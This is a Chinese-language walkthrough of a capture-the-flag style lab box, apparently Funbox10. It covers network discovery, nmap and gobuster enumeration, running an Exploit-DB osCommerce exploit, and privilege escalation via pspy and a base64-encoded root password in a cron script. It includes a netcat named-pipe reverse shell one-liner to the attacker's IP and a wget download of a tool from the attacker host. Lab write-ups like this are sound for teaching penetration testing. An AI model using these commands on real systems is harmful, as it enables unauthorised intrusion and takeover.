下载安装
键盘配置和网卡修改
信息收集
发现主机
arp-scan -l -I eth1
因为是在一个局域网中,这里我们用
arp-scan -l -I eth1
这个命令来发现目标主机IP
端口扫描和服务发现
nmap -A -p- -T5 172.30.1.141
这里我们使用nmap做端口扫描和服务发现
-A:全功能扫描
-p-:所有端口
-T5:扫描速度
web服务渗透
web服务渗透是我们最长见的一种渗透方式,我们发现目标主机是开启了80端口,80端口通常就是web服务,我们可以通过浏览器尝试访问。
我们发现主页上并没有什么好的渗透点,我们可以用gobuster工具进行网站目录挖掘
gobuster 简单介绍
apt-get update
更新下载资源包
apt-get install gobuster
下载gobuster
gobuster命令及参数介绍
completion: 为指定shell生成自动完成脚本
dir:文件路径/目录枚举
dns:dns子域名枚举
s3:枚举打开储存桶并查找存在和存储桶清单(适用aws)
命令 | 说明 |
---|---|
completion | 为指定shell生成自动完成脚本 |
dir | 文件路径/目录枚举 |
dns | dns子域名枚举 |
fuzz | 使用模糊测试模式。替换URL、Headers和请求体中的关键词FUZZ |
gcs | 使用gcs bucket枚举模式 |
help | 获取任何命令的帮助信息 |
s3 | 使用aws bucket枚举模式 |
tftp | 使用TFTP枚举模式 |
version | 显示当前版本 |
vhost | 使用VHOST枚举模式(您很可能想在URL参数中使用IP地址) |
参数 | 说明 |
---|---|
--debug | 启用调试输出 |
--delay duration | 每个线程在请求之间的等待时间(例如1500ms) |
-h | 获取gobuster的帮助信息 |
--no-color | 禁用彩色输出 |
--no-error | 不显示错误 |
-z | 不显示进度 |
-o | 写入结果的输出文件(默认为stdout) |
-p | 包含替换模式的文件 |
-t | 并发线程的数量(默认为10) |
-v | 详细输出(错误) |
-w | 指向字典文件的路径。设置为-以使用STDIN |
--wordlist-offset int | 从字典文件中的指定位置恢复(默认为0) |
基本语法
gobuster dir -w 选择一个字典 -u 输入要扫描的网站 -x 扫描的文件类型 -t 线程数量
SecLists字典
SecLists字典简介
SecLists 是安全测试人员的伴侣,它是一个收集了多种类型列表的项目,用于安全评估。这些列表包括用户名、密码、URL、敏感数据模式、模糊负载、Web shell 等。其目标是使安全测试人员能够将该存储库拉到新的测试环境中,并测试可能需要的每种类型的列表。
1.包含各种类型的列表
2.为安全测试提供方便
3.维护者有丰富经验
4.提供多种下载方式
我们可以发现包含了很多字典...略
使用gobuster枚举网站目录和文件
`gobuster dir -w /tmp/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -o funbox10_web_dir.log -x txt,php,html -u http://172.30.1.141
通过发现的
http://172.30.1.141/catalog/
目录访问看看是什么,我们发现这是一个网站搭快速建的框架,我们可以尝试对这个框架进行漏洞搜索看看有没有漏洞可以利用。
通过searchsploit 进行漏洞搜索
searchsploit 简介
searchsploit是一个用于Exploit-DB的命令行搜索工具,它还允许你随身带一份Exploit-DB的副本。SearchSploit为您提供了在本地保存的存储库中执行详细的离线搜索的能力。这种能力特别适用于在没有互联网接入的情况>下对网络进行安全评估。许多漏洞都包含了二进制文件的链接,这些文件不包含在标准存储库中,但可以在我们的Exploit->DB二进制文件中找到。
searchsploit 命令
命令 | 说明 |
---|---|
-c | 区分大小写 |
-e | 对exploit标题进行EXACT匹配 (默认为 AND) [Implies "-t"]. |
-h | 显示帮助 |
-j | 以JSON格式显示结果 |
-m | 把一个exp拷贝到当前工作目录,参数后加目标id |
-o | Exploit标题被允许溢出其列 |
-p | 显示漏洞利用的完整路径(如果可能,还将路径复制到剪贴板),后面跟漏洞ID号 |
-t | 仅仅搜索漏洞标题(默认是标题和文件的路径) |
-u | 检查并安装任何exploitdb软件包更新(deb或git) |
-w | 显示Exploit-DB.com的URL而不是本地路径(在线搜索) |
--colour | 搜索结果不高亮显示关键词 |
--id | 显示EDB-ID |
--nmap | 使用服务版本检查Nmap XML输出中的所有结果(例如:nmap -sV -oX file.xml) |
--exclude="term" | 从结果中删除值。通过使用` |
searchsploit osCommerce
通过
searchsploit
的搜索我们发现有很多漏洞,一般情况是从最下面的漏斗开始测试
searchsploit -m 50128.py
将指定版编号复制到当前目录
python3 5018.py http://172.30.1.141/catalog
运行以后我们发现,得到了一个shell,但是shell的权限很低,我们要对权限进行升级
nc -lvnp 9001
通过nc获取一个反弹sehll ,发现这个shell是web访问的权限,我们需要进行提权
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 172.30.1.3 9001 >/tmp/f
pspy 权限提升工具
pspy简介
黑客可以利用它来查看其他用户的计划任务工作 (cron job)等,该工具也非常适合技术人员在CTF(Capture The Flag)中枚举Linux系统。 pspy是一个 命令行工具 ,它可以在没有Root权限的情况下,监控Linux进程.
python3 -c "import pty;pty.spawn('/bin/bash')"
cd /tmp
先通过python获取一个交互式shell
因为我们要上传pspy64到目标主机上,所有我们需要在一个有写权限的文件目录中去,一般情况都是去tmp目录中
python -m http.server 8080
在kail端通过python快速搭建一个文件服务器
wget http://172.30.1.3:8080/pspy64
下载文件到目标主机上
chmod +x pspy64
给文件执行权限
./pspy64
执行程序,我们发现有个cron的定时任务
cat /usr/share/doc/examples\cron.sh
我们发现了一个加密的参数,是用base64加密的文件(以"=="结尾的多半是base64加密),我可以尝试解密,解码后发现是root的密码和账户,我们可以尝试登录
完成
发现可以登录成功了!!!!!